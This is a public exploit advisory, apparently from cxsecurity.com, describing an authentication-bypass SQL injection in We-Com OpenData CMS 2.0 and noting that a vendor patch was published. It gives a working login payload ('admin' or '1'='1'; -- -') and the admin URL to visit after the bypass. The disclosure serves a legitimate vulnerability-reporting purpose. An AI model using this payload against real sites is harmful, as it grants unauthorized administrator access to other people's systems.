# We-Com OpenData CMS 2.0 SQL Injection

**2020-06-03 / 2020-06-02**

Credit: **thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

```
# Exploit Title: We-com OpenData CMS 2.0 Authentication Bypass / SQL Injection
# Google Dork:N/A
# Date: 2020-04-17
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.0
# Tested on: 5.5.0-kali1-amd64


-----------------------------------------------------------------



Vendor contact timeline:



2020-05-05: Contacting vendor through  info@we-com.it
2020-05-26: A Patch is published in the version
2020-06-01: Release of security advisory





Authentication Bypass / SQL Injection in the opendata 2.0 CMS

PoC:

Payload(s)
USERNAME: admin' or '1' = '1'; -- -

PASSWORD: vvv

the SQL injection attack has resulted in a bypass of the login,to confirm you will get a reponse in header of the page with "okokokokokok okokokokokokokok"

But will not redirect you  to the control panel so you wil need to do it manual

https://www.site.gov.it/admin/?mod=mod_admin

and we are now authenticated as "adminstrator".
```

**See this note in RAW Version** (https://cxsecurity.com/ascii/WLB-2020060010)

T,

Lul

Vote for this issue: 👍 0 👎 0

50% 50%

## Comment it here.

**Nick (*)**

Nick

**Email (*)**

Email

**Video**

Link to Youtube

**Text (*)**